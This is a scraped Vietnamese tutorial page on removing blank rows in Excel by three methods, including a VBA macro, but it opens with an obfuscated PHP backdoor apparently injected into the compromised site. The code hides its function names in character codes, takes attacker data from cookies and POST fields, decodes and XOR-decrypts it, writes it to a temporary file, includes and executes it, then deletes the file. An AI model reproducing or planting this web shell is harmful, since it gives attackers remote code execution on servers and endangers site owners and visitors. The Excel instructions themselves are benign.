$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Tổng hợp các cách để xóa dòng trống trong Excel 2007, 2010, 2013 - Tải Chùa

Tổng hợp các cách để xóa dòng trống trong Excel 2007, 2010, 2013

by admin • 3 Tháng mười một, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post

Chắc hẳn các bạn đã từng gặp trường hợp cần xử lý dữ liệu không theo ý muốn khi sao chép từ Internet hay phần mềm trong Excel. Vấn đề thường xảy ra đó là các dòng dữ liệu không liền nhau và xen kẽ là các dòng trống xen kẽ.

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

Trong trường hợp dữ liệu ít thì bạn có thể xóa các dòng trống bằng phương pháp thủ công. Tuy nhiên, nếu gặp trường hợp dữ liệu rất lớn thì phương pháp thủ công không khả thi vì mất rất nhiều thời gian. Cuuhotinhoc.com xin giới thiệu 2 phương pháp đơn giản giúp bạn xóa nhanh các dòng dữ liệu trắng:

1. Sử dụng các chức năng có sẵn

1.1 Cách 1: 

  • B1: Chọn tất cả dữ liệu cần xóa (Nếu dữ liệu nhiều Excel không thể chọn toàn bộ thì bắt buộc phải chọn từng phần)
  • B2: Nhấn tổ hợp phím Ctrl + G, hộp thoại xuất hiện

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B3: Click Special
  • B4: Click chọn Blanks

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B5: Chọn Tab Home, click biểu tượng Delete trên thanh Toolbar

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B6: Click chọn Delete Sheet Rows

Như vậy là các dòng trống đã được xóa theo mong muốn.

1.2 Cách 2:

  • B1: Chọn tất cả dữ liệu
  • B2: Thực hiện vào Tab Data, chọn Filter

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B3: Bỏ chọn (Select All)
  • B4: Kéo thanh trượt bên phải xuống dưới

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B5: Click chọn (Blanks) -> OK (lọc tất cả các dòng trống)

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B6: Chọn Tab Home, click biểu tượng Delete trên thanh Toolbar

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

2. Sử dụng VBA

  • B1: Nhấn tổ hợp phím ALT + F11 để chạy Visual Basic Editor.
  • B2: Vào menu Insert -> Module

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B3: Trong màn hình soạn thảo Code, nhập tất cả đoạn mã sau:
Sub DeleteBlankRows()
    Dim i As Long
    If WorksheetFunction.CountA(Selection) = 0 Then
        MsgBox “Hien tai chua co vung du lieu nao duoc chon”, vbInformation, “Cuuhotinhoc.com”
        Exit Sub
    End If
    With Application
        .Calculation = xlCalculationManual
        .ScreenUpdating = False
        For i = Selection.Rows.Count To 1 Step -1
            If WorksheetFunction.CountA(Selection.Rows(i)) = 0 Then
                Selection.Rows(i).EntireRow.Delete
            End If
        Next i
        .Calculation = xlCalculationAutomatic
        .ScreenUpdating = True
    End With
End Sub
  • B4: Nhấn tổ hợp Alt + Q để quay lại màn hình làm việc Excel
  • B5: Chọn toàn bộ dữ liệu cần xóa bỏ dòng trống
  • B6: Thực hiện Tab View -> Macros -> View Macros

Tong hop cac cach xoa dong trong trong excel 2007 2010 2013

  • B7: Chọn Macro DeleteBlankRows và click Run
Như vậy là toàn bộ các dòng trống trong vùng dữ liệu đã được chọn sẽ được xóa bỏ tự động.
Trên đây là bài viết Tổng hợp các cách để xóa dòng trống trong Excel 2007, 2010, 2013. Hi vọng giúp ích được cho các bạn!
Tổng hợp các cách để xóa dòng trống trong Excel 2007, 2010, 2013

5 (100%) 1 vote

Bài viết liên quan:

  • Lỗi và cách khắc phục file Excel bị lỗi đơn…
  • Tự động chuẩn hóa chuỗi khi Enter trong Excel
  • Sắp xếp thứ tự Sheet trong Excel bằng VBA
  • Đánh dấu các giá trị trùng nhau bằng màu khác…
  • Macro tạo phân số trong Word 2007

Bài viết cùng chủ đề:

Chuyên mục bài viết